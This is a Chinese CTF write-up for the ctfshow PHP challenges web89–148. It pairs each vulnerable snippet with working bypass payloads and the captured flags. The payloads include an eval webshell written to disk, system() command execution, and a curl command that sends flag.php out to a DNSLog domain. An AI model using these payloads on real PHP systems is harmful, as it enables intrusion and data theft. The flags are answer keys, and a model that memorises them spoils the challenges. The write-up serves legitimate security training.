web89

intval() 函数用于获取变量的整数值,可preg_match过滤了数字,这里可以用数组绕过,因为preg_match无法处理数组

<?php
include("flag.php");
highlight_file(__FILE__);if(isset($_GET['num'])){$num = $_GET['num'];if(preg_match("/[0-9]/", $num)){die("no no no!");}if(intval($num)){echo $flag;}
}

payload:

?num[]=1

得到flag

ctfshow{bbd89e2b-5c80-44c4-97ce-54155b5b6e74}

web90

传参num强类型比较不等于4476,但经过intval后等于4476

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){die("no no no!");}if(intval($num,0)===4476){echo $flag;}else{echo intval($num,0);}
}

intval函数base为0时,会根据数据类型判断进制,因此可以用十六进制绕过0x117c

经过测试4476a,经过intval后值也为4476

<?php
$num='4476a';
echo intval($num);//结果4476

payload:

?num=4476a
?num=0x117c

得到flag

ctfshow{caad1937-497e-4d84-b84b-a495b141cd4a}

web91

正则匹配/m表示多行匹配,/i表示不区分大小写,因此可以通过换行让/m匹配第二行的php

<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){if(preg_match('/^php$/i', $a)){echo 'hacker';}else{echo $flag;}
}
else{echo 'nonononono';
}

payload:

?cmd=%0aphp

得到flag

ctfshow{7f2128e4-0848-47d0-b066-12e4a5cc60da}

web92

强类型变成了弱类型比较,4476a就不能用了,但仍可以用十六进制绕过

?num=0x117c

得到flag

ctfshow{937e42c0-24ba-47ca-a19d-7093c9cb0827}

web93

弱类型过滤了字母,16进制无法用了可以用8进制绕过

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==4476){die("no no no!");}if(preg_match("/[a-z]/i", $num)){die("no no no!");}if(intval($num,0)==4476){echo $flag;}else{echo intval($num,0);}
}

payload:

?num=010574

得到flag

ctfshow{6a569552-6394-4b09-a65f-ac3d0c0caaf2}

web94

strpos函数会检测0首次出现的位置,所以如果第一位是0,!0即1会执行die,所以无法使用常规的八进制绕过,可以用换行(%0a)、空格(%20)进行绕过,也可以小数点绕,因为intval()函数只读取整数部分(但必须在非首位有0以绕过strpos函数)

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){die("no no no!");}if(preg_match("/[a-z]/i", $num)){die("no no no!");}if(!strpos($num, "0")){die("no no no!");}if(intval($num,0)===4476){echo $flag;}
}

payload:

?num=%0a010574
?num=%20010574
?num=4476.20

得到flag

ctfshow{e93dd37e-c5fa-4974-b9e5-62d72395916a}

web95

把.过滤了可以直接用上题的另外两个payload

payload:

?num=%0a010574
?num=%20010574
?num=4476.20

得到flag

ctfshow{bef94fee-2077-4546-8cbd-3b85f002bf28}

web96

需要读取flag.php但过滤掉了可以加上./代表当前目录

<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){if($_GET['u']=='flag.php'){die("no no no");}else{highlight_file($_GET['u']);}
}

payload:

?u=./flag.php

得到flag

ctfshow{c4b5b154-3f43-4258-a26c-58fb0d916269}

web97

md5强类型比较
payload:POST传参

a[]=1&b[]=2
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 //过滤数组时可以用md5碰撞绕过


得到flag

ctfshow{b36ae29e-524a-4f02-b4ec-4d58c3f83f32}

web98

<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>

涉及到了一个三目运算
$_GET?$_GET=&$_POST:‘flag’; //如果使用GET传参,则使用POST传参来代替

$_GET[‘flag’]==‘flag’?$_GET=&$_COOKIE:‘flag’; //如果GET传参flag的值=flag则将cookie的值代替flag中的值

$_GET[‘flag’]==‘flag’?$_GET=&$_SERVER:‘flag’; //与上同理

$_GET[‘HTTP_FLAG’]==‘flag’?$flag:__FILE__ //如果GET传参HTTP_FLAG的值为flag则输出$flag
payload:

GET:a=1 //为了触发POST传参GET传任意值都可
POST:HTTP_FLAG=flag //GET=POST,因此POST传参,即实现$_GET['HTTP_FLAG']=='flag'

 得到 flag

ctfshow{24b7e4be-ca0e-4f83-9f59-5dbc1d72e950}

web99

array_push()向第一个参数的数组尾部添加一个或多个元素


in_array()函数搜索数组中是否存在指定的值。

array_push($allow, rand(1,$i)); //向$allow中插入一个随机值
in_array($_GET[‘n’], $allow)//检测n中是否有$allow的值,这里并没有第三个参数type,因此存在漏洞,就可以形成自动转换,即n=1.php会自动转换为1

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){file_put_contents($_GET['n'], $_POST['content']);
}
?>

file_put_contents()函数的作用是把一个字符串写入文件中,因此可以通过POST传参一句话木马到1.php中

GET:?n=1.php
POST:content=<?php @eval($_POST[a]);?>

传参后访问1.php,并执行命令ls

最后cat flag36d.php即可

查看页面源代码

ctfshow{fa972e69-75c0-4f3b-bfa4-cc546ddea5c4} 

web100

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match("/\;/", $v2)){if(preg_match("/\;/", $v3)){eval("$v2('ctfshow')$v3");}}
}
?>

and和or的优先级低于"="所以v0的值取决于v1,只需要将v1的设为纯数字即可。
v2一定是用来执行命令的,提示中写到flag在ctfshow类中,最简单的方法直接输出这个类即可,也就是构造出 echo new ReflectionClass(‘ctfshow’);。
v3正则必须有;,可以v3=;作为v2语句的结束符
payload:

?v1=1&v2=echo new ReflectionClass&v3=;
非预期:
v1=1&v2=var_dump($ctfshow)/*&v3=*/;
?v1=1&v2=?><?php echo `cat ctfshow.php`?>/*&v3=*/;
?v1=1&v2=system('cat ctfshow.php')&v3=-2;
?v1=1&v2=echo&v3=;system('cat ctfshow.php');

得到flag

web102

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;file_put_contents($v3,$str);
}
else{die('hacker');
}
?>

v4若想为1,只需v2是纯数字
在php5的环境中,是可以识别十六进制的,也就是说,如果传入v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(一句话木马的十六进制)也是可以识别为数字的;经过substr截取v2开头的0x,v1传hex2bin经过call_user_func将十六进制转为一句话木马,最后file_put_contents将一句话写入1.php即可
因此payload为

get:v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin

但本题为php7版本因此v2的十六进制不再适用,要让v2均为数字,首先我们考虑v3写入1.php时,利用伪协议写入,然后利用base64编码后再转为十六进制为全数字的命令<?=`cat *`;getshell

$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着=的base64解码出来的内容是相同的。
输出   5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。

因为要经过substr处理,所以v2前面还要补00
payload:

get:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin

web108

利用ereg函数的漏洞:00截断。%00截断及遇到%00则默认为字符串的结束
所以构造如下:

?c=a%00778

得到flag

ctfshow{d029deda-963b-46af-abc6-5a504ac6ee23}

web109

<?phphighlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){eval("echo new $v1($v2());");}
}
?>

php原生类
这里通过异常处理类Exception(system(‘cmd’))可以运行指定代码,并且能返回运行的结果(如果存在返回)

?v1=Exception&v2=system('cat fl*')
?v1=Reflectionclass&v2=system('cat fl*')
?v1=ReflectionMethod&v2=system('cat fl*')

直接访问fl36dg.txt

得到flag

ctfshow{879dafba-1e66-4f9c-b8f3-65a96f19768c}

web110

又是姿势盲区,考察的是FilesystemIterator类的使用

获取当前的目录则可以用getcwd函数,所以payload如下:

?v1=FilesystemIterator&v2=getcwd

缺陷是如果flag的文件不在第一位的话,就不能得到这个文件名。而且这个也没法读文件

然后访问 fl36dga.txt

最终得到flag

ctfshow{df8709be-6aae-4b92-bb18-0d9cf9a3a2aa}

web111

利用PHP的超全局变量$GLOBALS

?v1=ctfshow&v2=GLOBALS

得到flag

ctfshow{45b684eb-bf4d-4494-9ff9-8da67eb43c04}

web113

这次吧filter也过滤了,可以用上题的压缩流payload,或者用/proc/self/root,在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容,这里得重复最少21次来绕过
payload:

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
?file=compress.zlib://flag.php

得到flag

ctfshow{3bbb26be-2f90-4f32-880f-cd726f88866c}

web114

禁用root和compress,上题payload无法使用,但没过滤php,和filter
payload:

?file=php://filter/resource=flag.php

得到flag

ctfshow{9cfc3200-2ade-4967-9d13-6a89e421e0bb}

web115

<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){$num=str_replace("0x","1",$num);$num=str_replace("0","1",$num);$num=str_replace(".","1",$num);$num=str_replace("e","1",$num);$num=str_replace("+","1",$num);return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){if($num=='36'){echo $flag;}else{echo "hacker!!";}
}else{echo "hacker!!!";
}?>

trim()函数会移除字符串两侧的空白字符或其他预定义字符。若未预定义字符会移除

" " (ASCII 32 (0x20)),普通空格符。
"\t" (ASCII 9 (0x09)),制表符。
"\n" (ASCII 10 (0x0A)),换行符。
"\r" (ASCII 13 (0x0D)),回车符。
"\0" (ASCII 0 (0x00)),空字节符。
"\x0B" (ASCII 11 (0x0B)),垂直制表符。

通过羽师傅脚本跑出%0c(换页符可用),可绕过弱类型比较和trim()

<?php
for ($i=0; $i <=128 ; $i++) { $x=chr($i).'1';if(trim($x)!=='1' &&  is_numeric($x)){echo urlencode(chr($i))."\n";}
}
//%0C (换页符)

payload:

?num=%0c36

得到flag

ctfshow{2046f4b7-052b-47f3-bba7-010bee953605}

web123

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){eval("$c".";");  if($fl0g==="flag_give_me"){echo $flag;}}
}
?>

要求必须传参CTF_SHOW.COM,但PHP变量名应该只有数字字母下划线,若出现类似.字符会被转化为下划线,但有一个特殊字符[,它本身会变成下划线,而[后边的内容不会被转化即CTF[SHOW.COM =>CTF_SHOW.COM,另外要求不能传参fl0g,但fl0g等于flag_give_me才能输出flag,因此本题突破口是通过eval直接输出flag
payload:

CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo implode(get_defined_vars())

得到flag

ctfshow{0925fd55-905a-4782-b8b0-30f2dbdfbbb6}

web125

<?phperror_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){eval("$c".";");if($fl0g==="flag_give_me"){echo $flag;}}
}
?>

extract ()
extract — 从数组中将变量导入到当前的符号表

用post传入的数据都覆盖原来的数据。
payload:

CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me

得到flag

ctfshow{765a2d94-5164-49c1-a321-13a5c51e2603}

web126

<?phperror_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){eval("$c".";");  if($fl0g==="flag_give_me"){echo $flag;}}
}

parse_str ()
parse_str — 将字符串解析成多个变量

payload:

a=1+fl0g=flag_give_me  #GET
CTF_SHOW=1&CTF[SHOW.COM=2&fun=parse_str($a[1])  #POST

web127

<?phperror_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];//特殊字符检测
function waf($url){if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){return true;}else{return false;}
}if(waf($url)){die("嗯哼?");
}else{extract($_GET);
}if($ctf_show==='ilove36d'){echo $flag;
}

php的变量名中的点或空格会被转化为下划线,由于点被过滤
payload:

?ctf show=ilove36d

得到flag

ctfshow{87c8ac47-cabc-4999-bcd7-ca0877733f67}

web128

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){var_dump(call_user_func(call_user_func($f1,$f2)));
}else{echo "嗯哼?";
}
function check($str){return !preg_match('/[0-9]|[a-z]/i', $str);
}

gettext扩展
gettext(“phpinfo”)等同于phpinfo()
在开启该拓展后 _() 等效于 gettext()
所以call_user_func(‘_’,‘phpinfo’) 返回的就是phpinfo

gettext:可以实现多国语言显示,假如你的国际化的程序里有这样的代码,echo “你好”;,而国际化的程序你要写成 echo gettext(“你好”);,然后再在配置文件里添加“你好”相对应的英文“Hi”。这时,中国地区浏览都会在屏幕上输出“你好”,而美国地区浏览都会在屏幕上输出“Hi”。

get_defined_vars

get_defined_vars(void):array,此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

payload:

?f1=_&f2=get_defined_vars
即:
var_dump(call_user_func(call_user_func($f1,$f2)));
var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
var_dump(call_user_func(get_defined_vars));
?f1=_&f2=get_defined_vars

得到flag

ctfshow{496d9cd7-8050-4cbf-b649-edc6dfe07159}

web129

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){$f = $_GET['f'];if(stripos($f, 'ctfshow')>0){echo readfile($f);}
}?>

利用phpfilter伪协议,其中伪协议无效的话就会被过滤或进行目录穿越
payload:

?f=php://filter/convert.base64.encode | ctfshow/resource=flag.php
?f=/ctfshow/../../var/www/html/flag.php

查看页面源代码

得到flag

ctfshow{9d7523e9-471d-4c6a-8965-ea6c5811a53d}

web130

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){$f = $_POST['f'];if(preg_match('/.+?ctfshow/is', $f)){die('bye!');}if(stripos($f, 'ctfshow') === FALSE){die('bye!!');}echo $flag;
}

正则只要ctfshow前边无任何字符就可以
payload:

POST:f=ctfshow

得到flag

ctfshow{b9b5a2ca-0b97-4c44-b232-e32a592bdfb8}

web132

访问robots.txt,提示/admin,访问后得到源码

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){$username = (String)$_GET['username'];$password = (String)$_GET['password'];$code = (String)$_GET['code'];if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){if($code == 'admin'){echo $flag;} }
}

&&的优先级高于||的优先级,所以只要username=admin为真值,code=admin输出flag

?code=admin&username=admin&password=1

得到flag

web133

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){eval(substr($F,0,6));}else{die("6个字母都还不够呀?!");}
}

这个题是自己出的主要是考察,命令执行的骚操作和curl -F的使用
传参F过滤了命令执行函数,并且eval只会执行F的前六位字符的命令,如果我们传递的参数就是$F本身,就能实现变量覆盖

get传参   F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到  `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行  ``$F `;sleep 3` == shell_exec("`$F `;sleep 3");
这样就在服务器上成功执行了 sleep 3

所以我们的目标就明确了,利用curl去带出来flag.php

DNSLog Platform首先在DNSLog Platform这个网站先创建一个域名

然后payload

?F=`$F`;空格curl`cat flag.php|grep "flag"`.当时创建的域名 

然后再刷新,得到flag

web134

 <?php/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-14 23:01:06*/highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {die(file_get_contents('flag.php'));
}

POST数组的覆盖

$_SERVER[‘QUERY_STRING’]解释

PHP extract() 函数

可构造playload:

?_POST[key1]=36d&_POST[key2]=36d

查看页面源代码

得到flag
ctfshow{911c0580-c528-4981-8e8a-7affa8be911f}

web135

 <?php/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-16 18:48:03*/error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){eval(substr($F,0,6));}else{die("师傅们居然破解了前面的,那就来一个加强版吧");}
}

Linux中的cp命令

先将flag写入1.txt
/?F=`$F`; cp flag.php 1.txt
再访问1.txt
/1.txt

得到flag

ctfshow{37951cb0-36d5-4cf3-826f-a3ac27ad9423}

web136

 <?php
error_reporting(0);
function check($x){if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){die('too young too simple sometimes naive!');}
}
if(isset($_GET['c'])){$c=$_GET['c'];check($c);exec($c);
}
else{highlight_file(__FILE__);
}
?>

Linux tee命令

常见用例: tee file //覆盖

tee -a file //追加

tee - //输出到标准输出两次 tee - - //输出到标准输出三次

tee file1 file2 - //输出到标准输出两次,并写到那两个文件中

ls | tee file

另:把标准错误也被tee读取 ls “*” 2>&1 | tee ls.txt

tee file1 file2 //复制文件
ls|tee 1.txt //命令输出

可构造playload:

?c=ls \|tee 1
//将根目录下的内容写入1
访问1,下载文件发现f149_15_h3r3
?c=nl /f149_15_h3r3|tee 1
访问1,下载文件得flag

得到flag

ctfshow{52085618-6ccf-43ee-b5da-dc83fa367e39}

web137

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-16 22:27:49*/error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{function __wakeup(){die("private class");}static function getFlag(){echo file_get_contents("flag.php");}
}call_user_func($_POST['ctfshow']);

调用类中函数
可构造playload:

POST传参:
ctfshow=ctfshow::getFlag

得到flag

查看页面源代码

ctfshow{e5799d52-c58b-4148-8ed0-de5595f75220}

web138

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-16 22:52:13*/error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{function __wakeup(){die("private class");}static function getFlag(){echo file_get_contents("flag.php");}
}if(strripos($_POST['ctfshow'], ":")>-1){die("private function");
}call_user_func($_POST['ctfshow']);

和Web137类似都是运用了

call_user_func()函数

可构造playload:

POST传参:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag

查看页面源代码

得到flag

ctfshow{bdd5c2cd-60d3-4973-99ac-6907ad169366}

web139

 <?php
error_reporting(0);
function check($x){if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){die('too young too simple sometimes naive!');}
}
if(isset($_GET['c'])){$c=$_GET['c'];check($c);exec($c);
}
else{highlight_file(__FILE__);
}
?>

直接运用提示脚本,先爆破出文件名后爆破文件内容

web140

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-17 12:39:25*/error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){$f1 = (String)$_POST['f1'];$f2 = (String)$_POST['f2'];if(preg_match('/^[a-z0-9]+$/', $f1)){if(preg_match('/^[a-z0-9]+$/', $f2)){$code = eval("return $f1($f2());");if(intval($code) == 'ctfshow'){echo file_get_contents("flag.php");}}}
}

弱比较函数调用
可以看到只要我们让intval($code)为0就可以了
intval会将非数字字符转换为0,也就是说intval('a')==0 intval('.')==0intval('/')==0

构造playload:

POST传参:
f1=md5&f2=md5

查看页面源代码

得到flag

ctfshow{a4b3091e-eaf2-4af6-a1b3-464b46bb0316}

无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)

web141

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-17 19:28:09*/#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/^\W+$/', $v3)){$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}

/^\W+$/ 作用是匹配非数字字母下划线的字符
取反脚本:

<?php
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

构造playload:

?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)-&v2=1

ctfshow{ae451c80-8d22-416f-a7cc-b710ad5e3e2e}

web142

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-17 19:36:02*/error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){$v1 = (String)$_GET['v1'];if(is_numeric($v1)){$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);sleep($d);echo file_get_contents("flag.php");}
}

直接构造playload

直接构造playload?v1=0

ctfshow{313127be-14fc-4b6b-83d3-f25f4d696ea0}

web143

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){die('get out hacker!');}else{$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}?>

过滤了-和;之前的payload无法直接使用了,可以用*代替-,用?>代替;或直接去掉;

?v1=1&v2=2&v3=*("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%02%10%08%10"^"%60%60%60%20%60%60%60%60%2c%60%60%60")*

ctfshow{83b1c954-b7f2-49e9-b852-908e1c39bdd2}

web144

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 16:21:15*/highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && check($v3)){if(preg_match('/^\W+$/', $v2)){$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}function check($str){return strlen($str)===1?true:false;
}

和143题类似,只是弱化了一下

构造playload:

?v1=1
&v2=-("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")
&v3=1

ctfshow{c5526b12-7a78-498f-94b4-b51ef0513029}

web145

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 17:41:33*/highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){die('get out hacker!');}else{$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}

考察知识点:三目运算符
构造playload:

?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|&v2=1

ctfshow{82b792e3-28e6-47b7-b1e8-fc27e3bce83e}

web146

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 17:41:33*/highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){die('get out hacker!');}else{$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}

和上题相同

?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|&v2=1

ctfshow{680d0a94-a413-485a-b069-50d68a4da1ca}

Web147

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 02:04:38*/highlight_file(__FILE__);if(isset($_POST['ctf'])){$ctfshow = $_POST['ctf'];if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {$ctfshow('',$_GET['show']);}}

create_function函数注入

原理 就是}闭合原来的函数,然后执行命令,然后再把多余的}给注释掉就可以了
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法

构造playload:

GET:?show=}system("cat f*");/*
POST:ctf=\create_function

ctfshow{b874fb3d-f6f8-4569-9c69-6c304e22960c}

web148

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 03:52:11*/include 'flag.php';
if(isset($_GET['code'])){$code=$_GET['code'];if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){die("error");}@eval($code);
}
